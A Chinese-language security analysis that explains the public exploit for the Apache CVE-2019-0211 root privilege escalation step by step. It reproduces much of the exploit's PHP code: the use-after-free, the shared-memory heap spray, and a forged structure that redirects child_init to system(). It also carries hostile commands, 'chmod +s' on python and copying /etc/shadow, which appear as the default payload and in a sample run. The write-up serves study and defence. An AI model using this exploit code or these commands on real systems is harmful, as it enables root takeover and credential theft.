作者:天融信阿爾法實驗室
公眾號:https://mp.weixin.qq.com/s/9OtUdzoC9BHzoOxA7IES8A
前段時間Apache HTTP 被發現存在本地提權漏洞(CVE-2019-0211),漏洞作者在第一時間就給出了WriteUp和漏洞EXP,阿爾法實驗室也對EXP進行了深入分析,在此將分析的筆記整理分享出來。本文主要按著EXP的執行步驟一步步講解,同時詳細解釋了利用過程中幾個比較難理解的點:
- PHP UAF漏洞的具體利用細節
- all_buckets[bucket]是如何指向SHM中偽造的結構以及堆噴的問題
- 如何讓apr_proc_mutex_t和zend_array、prefork_child_bucket和zend_object這些結構體疊加的
希望對大家理解該漏洞有所幫助。
一、漏洞成因
作者的WriteUp中對導致漏洞代碼已經有了介紹,這里就只是簡單提一下,并省略了大部分的源碼以減輕閱讀負擔。
在Apache的MPM prefork模式中,以root權限運行主服務器進程,同時管理一個低特權工作進程(worker)池,用于處理HTTP請求。主進程和worker之間通過一個共享內存(SHM)進行通信。
1.當Apache httpd服務器優雅重啟(graceful)時,httpd主進程會殺死舊worker并用新worker替換它們,這就會調用prefork_run()函數產生新的worker:
//server/mpm/prefork/prefork.c
static int prefork_run(apr_pool_t *_pconf, apr_pool_t *plog, server_rec *s)
{
/* ... */
make_child(ap_server_conf, child_slot,
ap_get_scoreboard_process(child_slot)->bucket);
/* ... */
}
2.在該函數中調用make_child(),并使用ap_get_scoreboard_process(child_slot)->bucket作為參數。make_child()函數會創建新的子進程,同時根據bucket索引讀取all_buckets數組到my_bucket:
//server/mpm/prefork/prefork.c
static int make_child(server_rec *s, int slot, int bucket)
{
/* ... */
my_bucket = &all_buckets[bucket];
/* ... */
child_main(slot, bucket);
/* ... */
3.調用child_main(),如果Apache偵聽多個端口,那么SAFE_ACCEPT(<code>)宏中的<code>將會執行,這里apr_proc_mutex_child_init()將會執行:
//server/mpm/prefork/prefork.c
static void child_main(int child_num_arg, int child_bucket)
{
/* ... */
status = SAFE_ACCEPT(apr_proc_mutex_child_init(&my_bucket->mutex,
apr_proc_mutex_lockfile(my_bucket->mutex),
pchild));
/* ... */
4.上述函數進一步調用(*mutex)->meth->child_init(mutex, pool, fname)。
//apr-1.7.0
//locks/unix/proc_mutex.c
APR_DECLARE(apr_status_t) apr_proc_mutex_child_init(apr_proc_mutex_t **mutex,
const char *fname,
apr_pool_t *pool)
{
return (*mutex)->meth->child_init(mutex, pool, fname);
}
整個簡化的流程如下:
prefork_run()
make_child(bucket)
my_bucket = &all_buckets[bucket];
child_main(bucket)
SAFE_ACCEPT(apr_proc_mutex_child_init)
apr_proc_mutex_child_init(my_bucket->mutex)
mutex->meth->child_init(&my_bucket->mutex)//覆蓋child_init()的指針來指向代碼
如果我們在共享內存中偽造一個prefork_child_bucket結構(即all_buckets數組的元素),并修改all_buckets數組的索引bucket,就可以在第三行處的代碼控制my_bucket指向該結構。
進而在后續代碼執行my_bucket->mutex->meth->child_init(mutex, pool, fname),meth結構包含指向多個函數的指針,因此,將其中的child_init函數的指針覆蓋為我們想要執行函數的指針,就可以達到漏洞利用的目的,并且此時進程還是處于root權限的,后面才降低自身的權限。
二、漏洞利用
作者在其WriteUp將利用過程分為四個步驟,但實際的exp要比他寫得更繁瑣一點,在順序上也稍微有些不同。以下是根據exp執行步驟整理的流程,補充了一些細節:
- 利用PHP讀取worker的/proc/self/maps文件,進而定位一些漏洞利用所需模塊和函數的地址
- 枚舉/proc/*/cmdline和/proc/*/status文件,得到所有worker進程的PID
- 利用一個PHP的UAF漏洞,在worker進程中獲取讀/寫SHM的權限
- 遍歷Apache的內存,根據內存模式匹配找到與
all_buckets數組地址 - 因為優雅重啟后,
all_buckets的位置會改變,因此需要計算一個"適當"的bucket索引,保證all_buckets[bucket]仍然指向偽造的prefork_child_bucket結構 - 在SHM中構造payload
- 噴射payload之后剩余的SHM區域,確保第5步中
all_buckets[bucket]指向這片區域后,能轉跳到payload - 將
process_score->bucket修改為第5步中計算的bucket。此外為了進一步提高成功率,還可以枚舉SHM區域所有的process_score結構,將每個worker的process_score->pid與第2步得到的PID的相比較,匹配上的就是正確的process_score結構,將每個worker的process_score->bucket都進行修改。 - 等待Apache優雅重啟觸發漏洞(每天早上6:25會自動執行,也可手動重啟驗證結果)
具體的細節如下圖:

2.1 exp概述
get_all_addresses()、get_workers_pids()函數分別取得幾個關鍵內存地址、worker的PID放入全局變量$addresses和$worker_pids中,以便在隨后的利用中使用。需要注意如果執行exp時無法解析shm和apache的地址,可能是因為你的環境中shm的大小與exp中查找的范圍不一致,可以自己查看一下maps文件,然后修改if ($msize >= 0x10000 && $msize <= 0x16000)這一行為正確的值即可。
real()函數有兩個作用,一是觸發PHP的UAF漏洞。二是開始真正的漏洞利用過程,因為Z中定義了jsonSerialize()方法,它會在類實例被序列化的時候調用,即后面執行json_encode()時調用,而所有的利用代碼都在jsonSerialize()中。
下面的代碼只保留了EXP的基本框架,只為了讓大家有一個整體上的概念:
<?php
function real()
{
global $y;
$y = [new Z()];
json_encode([0 => &$y]);
}
class Z implements JsonSerializable
{
public function jsonSerialize()
{
...
}
...
}
...
function get_all_addresses()
{
...
}
function get_workers_pids()
{
...
}
$addresses = get_all_addresses();
$workers_pids = get_workers_pids();
real();
接下來具體看看jsonSerialize()中的代碼。
2.2 利用PHP的UAF獲取讀寫SHM的權限
還是先概括的講一講PHP這個UAF漏洞原理:
class Z implements JsonSerializable
{
public function jsonSerialize()
{
global $y, $addresses, $workers_pids;
...
$this->abc = ptr2str(0, 79); //ptr2str在這里等同于創建一個字符串
...
unset($y[0]);
...
$x = new DateInterval('PT1S');
...
}
}
-
我們在
Z中定義了一個字符串$this->abc(PHP內部使用zend_string表示),就好比C中malloc一塊內存 -
接著
unset($y[0])(Z的實例),就像"free"掉剛才分配的內存 -
然后再請求分配一個和剛才釋放大小相同的內存塊,這里使用的是
DateInterval(PHP的對象內部實現往往由幾個結構體組成,這里其實是DateInterval中的timelib_rel_time和zend_string大小相同),于是DateInterval就占據了原來字符串的位置,如下圖所示:
-
此時
$this->abc仍然可用并指向原來的位置,于是我們可以通過修改DateInterval來控制字符串$this->abc。
PHP字符串的內部實現如下,用一個zend_string表示,通過成員變量len來判斷字符串長度,從而實現二進制安全。我們修改DateInterval的屬性間接修改len的大小就可以通過this->abc讀寫SHM區域了。當然,為了能夠成功利用漏洞,還有許多細節需要考慮。
struct _zend_string {
zend_refcounted gc;
zend_ulong h;
size_t len;
char val[1];
};
2.2.1 填充空閑內存塊
在腳本運行之前可能發生了大量的分配/釋放,因此同時實例化的兩個變量也不一定是連續的,為解決這個問題,實例化幾個DateInterval對象填充不連續空閑塊,以確保后面分配的內存是連續的:
$contiguous = [];
for($i=0;$i<10;$i++)
$contiguous[] = new DateInterval('PT1S');
$_protector = ptr2str(0, 78);
2.2.2 創建保護內存塊
為了保證UAF后我們控制的結構屬于一塊空閑內存,如果我們之后創建其他變量,那么這些變量可能會破壞我們已經控制的結構,為了避免這種情況,這里分配了很多對象Z的實例,后面的代碼中會將其釋放,由于PHP的堆LIFO的特點,這些釋放掉的內存會優先于UAF的那塊內存分配,從而保護被我們控制的結構。
$room = [];
for($i=0;$i<10;$i++)
$room[] = new Z();
函數ptr2str的作用相當于在內存中分配一個大小為78的zend_string結構,為什么是78這個大小接下來會提到。
$_protector = ptr2str(0, 78);
2.2.3 分配UAF的字符串
接著創建字符串$this->abc,也就是一個zend_string結構,通過對它進行UAF,進而讀寫共享內存。
$this->abc = ptr2str(0, 79);
$p = new DateInterval('PT1S');
創建$p的目的是為了保護$this->abc,前面說過,一個PHP對象往往由許多結構組成,而DateInterval中的timelib_rel_time結構大小就剛好為78,這就是前面為何要創建大小78的zend_string的原因。
此時的內存布局如下圖所示,這里和下面的所有圖示都是為了方便大家理解,因為PHP各種變量、對象往往由好幾個結構實現,所以實際的PHP堆內存排布肯定比此復雜。

2.2.4 觸發UAF并驗證
接著unset當前對象$y[0]和$p,unset掉$p意味著釋放了DateInterval的timelib_rel_time結構。
unset($y[0]);
unset($p);
此時內存布局如下:

然后我們將分配一個與其大小相同的字符串($protector),由于PHP堆LIFO的特點,因此字符串將取代timelib_rel_time結構的位置。
# Protect $p's timelib_rel_time structure
$protector = ".$_protector";

接著就是最重要的一步:
$x = new DateInterval('PT1S');
再次創建一個DateInterval,它的timelib_rel_time結構將剛好占據上圖中free的內存位置,同時$this->abc仍然是可以訪問free這塊內存的,即:&timelib_rel_time == &zend_string。因此我們可以通過修改DateInterval對象來修改zend_string.len,從而控制可以讀/寫內存的長度。

完成上述步驟后,我們還需要驗證UAF是否成功,看一下DateInterval的定義:
DateInterval {
/* Properties */
public integer $y ;
public integer $m ;
public integer $d ;
public integer $h ;
public integer $i ;
public integer $s ;
public float $f ;
public integer $invert ;
public mixed $days ;
/* Methods */
public __construct ( string $interval_spec )
public static createFromDateString ( string $time ) : DateInterval
public format ( string $format ) : string
}
因為有&timelib_rel_time == &zend_string,所以這里的$d和$y分別對應zend_string里的len和val。可以將$x(DateInterval)的h屬性設置為0x13121110,再通過$this->abc字符串(zend_string)訪問來判斷UAF成功與否。
# zend_string.refcount = 0
$x->y = 0x00;
# zend_string.len
$x->d = 0x100;
# zend_string.val[0-4]
$x->h = 0x13121110;
if(!(
strlen($this->abc) === $x->d &&
$this->abc[0] == "\x10" &&
$this->abc[1] == "\x11" &&
$this->abc[2] == "\x12" &&
$this->abc[3] == "\x13"
))
{
o('UAF failed, exiting.');
exit();
}
o('UAF successful.');;
最后別忘了釋放掉$room,產生的空閑塊將保護我們控制的結構,后面再新建變量都會優先使用這些內存。
unset($room);

2.2.5 控制并修改UAF的結構
利用這個PHP漏洞的目的是為了能夠獲取讀寫SHM的權限,現在我們能夠讀寫zend_string.val的內容,能讀寫的長度是zend_string.len,因此只要將len的值增加到包括SHM的范圍。
這時我們已經知道了SHM的絕對地址,還需要知道abc的絕對地址,得到兩者之間的偏移量才可以修改len。因此需要找到字符串$this->abc在內存中的位置:
$address = str2ptr($this->abc, 0x70 * 2 - 24);
$address = $address - 0x70 * 3;
$address = $address + 24;
o('Address of $abc: 0x' . dechex($address));
然后我們就可以計算兩者間的偏移量了,還要注意的是,因為后面我們需要在內存中查找all_bucket,而它在apache的內存中所以我們的len需要將SHM和apache的內存都覆蓋到,所以作者的WriteUp中說SHM和apache的內存都需要在PHP堆之后,而它們也確實都在PHP堆之后。
找SHM和apache的內存兩者間較大的值,減去abc的地址,將得到的偏移通過DateInterval的d屬性修改來修改zend_string.len。
$distance =
max($addresses['apache'][1], $addresses['shm'][1]) - $address;
$x->d = $distance;
這等同于將zend_string結構($this->abc)中的len修改為一個超大的值,一直包括到SHM和Apache內存區域,這下我們就可以讀寫這個范圍內的內存了。
2.3 在內存中定位all_buckets
根據內存模式查找all_buckets數組的位置,這在作者的writeup中有提到。mutex在all_buckets偏移0x10的位置,而meth在mutex偏移0x8的位置,根據該特征查找all_buckets數組。
首先,在apache的內存中搜索all_buckets[idx]->mutex,接著驗證meth,是否在libapr.so的.data段中,最后因為meth指向libapr.so中定義的函數,因此驗證其是否在.text段。滿足這些條件的就是我們要找的all_buckets[]結構。
$all_buckets = 0;
for(
$i = $addresses['apache'][0] + 0x10;
$i < $addresses['apache'][1] - 0x08;
$i += 8
)
{
# mutex
$mutex = $pointer = str2ptr($this->abc, $i - $address);
if(!in($pointer, $addresses['apache']))
continue;
# meth
$meth = $pointer = str2ptr($this->abc, $pointer + 0x8 - $address);
if(!in($pointer, $addresses['libaprR']))
continue;
o(' [&mutex]: 0x' . dechex($i));
o(' [mutex]: 0x' . dechex($mutex));
o(' [meth]: 0x' . dechex($meth));
順便將meth結構中所有函數指針打印出來,第6個就是我們要用到的(*child_init)()。
# meth->*
# flags
if(str2ptr($this->abc, $pointer - $address) != 0)
continue;
# methods
for($j=0;$j<7;$j++)
{
$m = str2ptr($this->abc, $pointer + 0x8 + $j * 8 - $address);
if(!in($m, $addresses['libaprX']))
continue 2;
o(' [*]: 0x' . dechex($m));
}
$all_buckets = $i - 0x10;
o('all_buckets = 0x' . dechex($all_buckets));
break;
}
這是meth的結構,可以對照著看一看:
struct apr_proc_mutex_unix_lock_methods_t {
unsigned int flags;
apr_status_t (*create)(apr_proc_mutex_t *, const char *);
apr_status_t (*acquire)(apr_proc_mutex_t *);
apr_status_t (*tryacquire)(apr_proc_mutex_t *);
apr_status_t (*release)(apr_proc_mutex_t *);
apr_status_t (*cleanup)(void *);
apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *);
const char *name;
};

2.4 計算索引buckets
再回憶一下漏洞利用的方法:在SHM中構造payload (prefork_child_bucket結構),同時將剩余SHM區域噴射payload地址(并非payload起始地址), 控制指向噴射區域,所以&all_buckets[bucket]中的meth必然指向payload ,而payload中我們已將child_init函數的指針覆蓋為我們想要執行函數的指針,就可以達到漏洞利用的目的。
要想控制&all_buckets[bucket]指向prefork_child_bucket結構,不能直接將該結構精確放在某個位置,然后直接計算兩者間的偏移,因為all_buckets的地址在每優雅重啟后會發生變化,所以漏洞被觸發時all_buckets的地址將與我們找到的地址是不同的,這就是作者在EXP中進行堆噴的目的。
all_buckets是一個結構體數組,元素prefork_child_bucket結構由三個指針組成:
typedef struct prefork_child_bucket {
ap_pod_t *pod;
ap_listen_rec *listeners;
apr_proc_mutex_t *mutex;
} prefork_child_bucket;
如果在SHM中大量噴射一個指向payload的地址,只要讓&all_buckets[bucket]落在該區域內,payload就能得到執行,如下圖中所示:

并且在EXP中,作者一共使用了兩種方法來提高利用成功率:
- 噴射SHM,也就是上面提到的方法
- 修改每個worker的
process_score->bucket結構,這樣一來,利用成功率就可以再乘以Apache Worker的數量。這也是exp開始時調用$workers_pids = get_workers_pids();的原因。
先看第一種方法的實現:
SHM的起始部分是被apache的各個進程使用的,可以用SHM末尾的絕對地址$spray_max,減去未使用的內存空間大小$spray_size,得到要噴射區域的大小$spray_size;而未使用空間的大小可以通過減去已使用worker_score結構的總大小得到。
$size_prefork_child_bucket = 24;
$size_worker_score = 264;
$spray_size = $size_worker_score * (256 - sizeof($workers_pids) * 2);
$spray_max = $addresses['shm'][1];
$spray_min = $spray_max - $spray_size;
然后找噴射區域地址的中間值,計算它和all_buckets地址的偏移,再除以prefork_child_bucket結構的大小,就可以得到一個all_buckets數組下標索引,但別忘了SHM在all_buckets之前,所以這個索引還要取負值,這個值用$bucket_index_middle表示。
$spray_middle = (int) (($spray_min + $spray_max) / 2);
$bucket_index_middle = (int) ( - ($all_buckets - $spray_middle) / $size_prefork_child_bucket );
這樣做的目的在于,在每優雅重啟后,即便all_buckets的地址有所變化,&all_buckets[bucket]指向的位置會在$spray_middle上下浮動,最大程度上保證了該指針落在噴射的內存范圍內,如下圖所示:

2.5 設置payload并噴射SHM
Payload由三個部分組成
- bucket,用來存放要執行的命令,這是因為payload已經成了幾個結構的疊加。
- meth,它還是apr_proc_mutex_unix_lock_methods_t結構,只是它的
child_init替換成了zend_object_std_dtor,其他指針置空。 - properties,這是PHP內部結構
zend_object的一個成員。
回憶漏洞的攻擊鏈,最后的child_init被替換成函數zend_object_std_dtor執行,其原型如下,傳入一個zend_object結構:
ZEND_API void zend_object_std_dtor(zend_object *object);
所以原本傳給child_init的&my_bucket->mutex(prefork_child_bucket結構的一部分)就和zend_object相疊加了。

zend_object_std_dtor的執行又導致以下調用鏈:
...
mutex = &my_bucket->mutex
apr_proc_mutex_child_init(mutex)
//(*mutex)->meth->child_init()
(*mutex)->meth->zend_object_std_dtor(object) //[object = mutex]
ht = object->properties
zend_array_destroy(ht)
zend_hash_destroy(ht)
val = &ht->arData[0]->val
ht->pDestructor(val)
上面的代碼properties是一個zend_array結構,如下所示,我們控制其中的arData,pDestructor,如果我們將上面&ht->arData[0]->val放入要執行的命令,pDestructor()覆蓋為system的地址,就可以實現命令執行了。
struct _zend_array {
zend_refcounted_h gc;
//...
uint32_t nTableMask;
Bucket *arData;
uint32_t nNumUsed;
uint32_t nNumOfElements;
uint32_t nTableSize;
uint32_t nInternalPointer;
zend_long nNextFreeElement;
dtor_func_t pDestructor;
};
回到exp中,首先構造bucket部分,放入要執行的命令,沒有參數時默認執行"chmod +s /usr/bin/python3.5",但是自定義的命令長度也不能超過152字節。
# Build payload
$payload_start = $spray_min - $size_worker_score;
$z = ptr2str(0);
# Payload maxsize 264 - 112 = 152
$bucket = isset($_REQUEST['cmd']) ?
$_REQUEST['cmd'] :
"chmod +s /usr/bin/python3.5";
if(strlen($bucket) > $size_worker_score - 112)
{
o(
'Payload size is bigger than available space (' .
($size_worker_score - 112) .
'), exiting.'
);
exit();
}
# Align
$bucket = str_pad($bucket, $size_worker_score - 112, "\x00");
然后是meth,將原本child_init的指針改為zend_object_std_dtor
# apr_proc_mutex_unix_lock_methods_t
$meth =
$z .
$z .
$z .
$z .
$z .
$z .
# child_init
ptr2str($addresses['zend_object_std_dtor'])
;
經過調試也可以看到child_init被覆蓋:

然后是properties(zend_array和apr_proc_mutex_t結構的疊加),u-nTableMask的位置將用作apr_proc_mutex_t結構的meth,而arData指向payload中的bucket。
$properties =
# refcount
ptr2str(1) .
# u-nTableMask meth
ptr2str($payload_start + strlen($bucket)) .
# Bucket arData
ptr2str($payload_start) .
# uint32_t nNumUsed;
ptr2str(1, 4) .
# uint32_t nNumOfElements;
ptr2str(0, 4) .
# uint32_t nTableSize
ptr2str(0, 4) .
# uint32_t nInternalPointer
ptr2str(0, 4) .
# zend_long nNextFreeElement
$z .
# dtor_func_t pDestructor
ptr2str($addresses['system'])
;
將三個部分組合:
$payload =
$bucket .
$meth .
$properties
;
通過前面UAF控制的字符串abc寫入SHM未使用部分的開頭
o('Placing payload at address 0x' . dechex($payload_start));
$p = $payload_start - $address;
for(
$i = 0;
$i < strlen($payload);
$i++
)
{
$this->abc[$p+$i] = $payload[$i];
}
打印信息,將SHM剩下的部分噴射為properties的地址
$properties_address = $payload_start + strlen($bucket) + strlen($meth);
o('Spraying pointer');
o(' Address: 0x' . dechex($properties_address));
o(' From: 0x' . dechex($spray_min));
o(' To: 0x' . dechex($spray_max));
o(' Size: 0x' . dechex($spray_size));
o(' Covered: 0x' . dechex($spray_size * count($workers_pids)));
o(' Apache: 0x' . dechex(
$addresses['apache'][1] -
$addresses['apache'][0]
));
$s_properties_address = ptr2str($properties_address);
for(
$i = $spray_min;
$i < $spray_max;
$i++
)
{
$this->abc[$i - $address] = $s_properties_address[$i % 8];
}
講到這里可以再回頭看看文章剛開始的圖,應該就更容易理解了。

2.6 進一步提高成功率
前面還講到,可以修改每個worker的process_score->bucket結構,這樣一來,利用成功率就可以再乘以Apache Worker的數量,因為2.4中計算出的bucket索引能落在了SHM之外,如果有多個worker,如下圖所示,就能提高&all_buckets[bucket]落在SHM中的概率:

迭代查找每個process_score結構直到找到每個PID,再將找到的PID$workers_pids中的PID對比,匹配的就說明是正確的結構。
$spray_nb_buckets = (int) ($spray_size / $size_prefork_child_bucket);
$total_nb_buckets = $spray_nb_buckets * count($workers_pids);
$bucket_index = $bucket_index_middle - (int) ($total_nb_buckets / 2);
for(
$p = $addresses['shm'][0] + 0x20;
$p < $addresses['shm'][1] && count($workers_pids) > 0;
$p += 0x24
)
{
$l = $p - $address;
$current_pid = str2ptr($this->abc, $l, 4);
o('Got PID: ' . $current_pid);
# The PID matches one of the workers
if(in_array($current_pid, $workers_pids))
{
unset($workers_pids[$current_pid]);
o(' PID matches');
將所有workerprocess_score.bucket都進行修改,而非修改其中一個:
# Update bucket address
$s_bucket_index = pack('l', $bucket_index);
$this->abc[$l + 0x20] = $s_bucket_index[0];
$this->abc[$l + 0x21] = $s_bucket_index[1];
$this->abc[$l + 0x22] = $s_bucket_index[2];
$this->abc[$l + 0x23] = $s_bucket_index[3];
o(' Changed bucket value to ' . $bucket_index);
$min = $spray_min - $size_prefork_child_bucket * $bucket_index;
$max = $spray_max - $size_prefork_child_bucket * $bucket_index;
o(' Ranges: 0x' . dechex($min) . ' - 0x' . dechex($max));
# This bucket range is covered, go to the next one
$bucket_index += $spray_nb_buckets;
到這里,整個漏洞利用過程就結束了,可以等到6:25AM查看利用是否利用成功,也可以手動執行apachectl graceful驗證
if(count($workers_pids) > 0)
{
o(
'Unable to find PIDs ' .
implode(', ', $workers_pids) .
' in SHM, exiting.'
);
exit();
}
o('');
o('EXPLOIT SUCCESSFUL.');
o('Await 6:25AM.');
return 0;
? curl http://192.168.116.133/carpediem.php\?cmd\=cp+/etc/shadow+/tmp/
CARPE (DIEM) ~ CVE-2019-0211
PID: 887
Fetching addresses
zend_object_std_dtor: 0x7fc38f605700
system: 0x7fc3936bc480
libaprX: 0x7fc393c39000-0x0x7fc393c6b000
libaprR: 0x7fc393e6b000-0x0x7fc393e6c000
shm: 0x7fc394456000-0x0x7fc39446a000
apache: 0x7fc39446a000-0x0x7fc39452a000
Obtaining apache workers PIDs
Found apache worker: 887
Found apache worker: 888
Found apache worker: 889
Found apache worker: 890
Found apache worker: 891
Got 5 PIDs.
Triggering UAF
Creating room and filling empty spaces
Allocating $abc and $p
Unsetting both variables and setting $protector
Creating DateInterval object
UAF successful.
Address of $abc: 0x7fc38aaa34e8
Looking for all_buckets in memory
[&mutex]: 0x7fc3944cab70
[mutex]: 0x7fc3944cacc0
[meth]: 0x7fc393e6bca0
[*]: 0x7fc393c53ce0
[*]: 0x7fc393c541b0
[*]: 0x7fc393c53e90
[*]: 0x7fc393c54210
[*]: 0x7fc393c53bf0
[*]: 0x7fc393c53960
[*]: 0x7fc393c6228c
all_buckets = 0x7fc3944cab60
Computing potential bucket indexes and addresses
[bucket_index_middle]: -17858
Placing payload at address 0x7fc39445a148
Spraying pointer
Address: 0x7fc39445a218
From: 0x7fc39445a250
To: 0x7fc39446a000
Size: 0xfdb0
Covered: 0x4f470
Apache: 0xc0000
Iterating in SHM to find PIDs...
[spray_nb_bucket]: 2706
[total_nb_buckets]: 13530
[bucket_index]: -24623
Got PID: 887
PID matches
Changed bucket value to -24623
Ranges: 0x7fc3944ea6b8 - 0x7fc3944fa468
Got PID: 888
PID matches
Changed bucket value to -21917
Ranges: 0x7fc3944da908 - 0x7fc3944ea6b8
Got PID: 889
PID matches
Changed bucket value to -19211
Ranges: 0x7fc3944cab58 - 0x7fc3944da908
Got PID: 890
PID matches
Changed bucket value to -16505
Ranges: 0x7fc3944bada8 - 0x7fc3944cab58
Got PID: 891
PID matches
Changed bucket value to -13799
Ranges: 0x7fc3944aaff8 - 0x7fc3944bada8
EXPLOIT SUCCESSFUL.
Await 6:25AM.
三、參考
[1] CVE-2019-0211 Apache Root Privilege Escalation
[2] exploit
[3] PHP7內核剖析
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/907/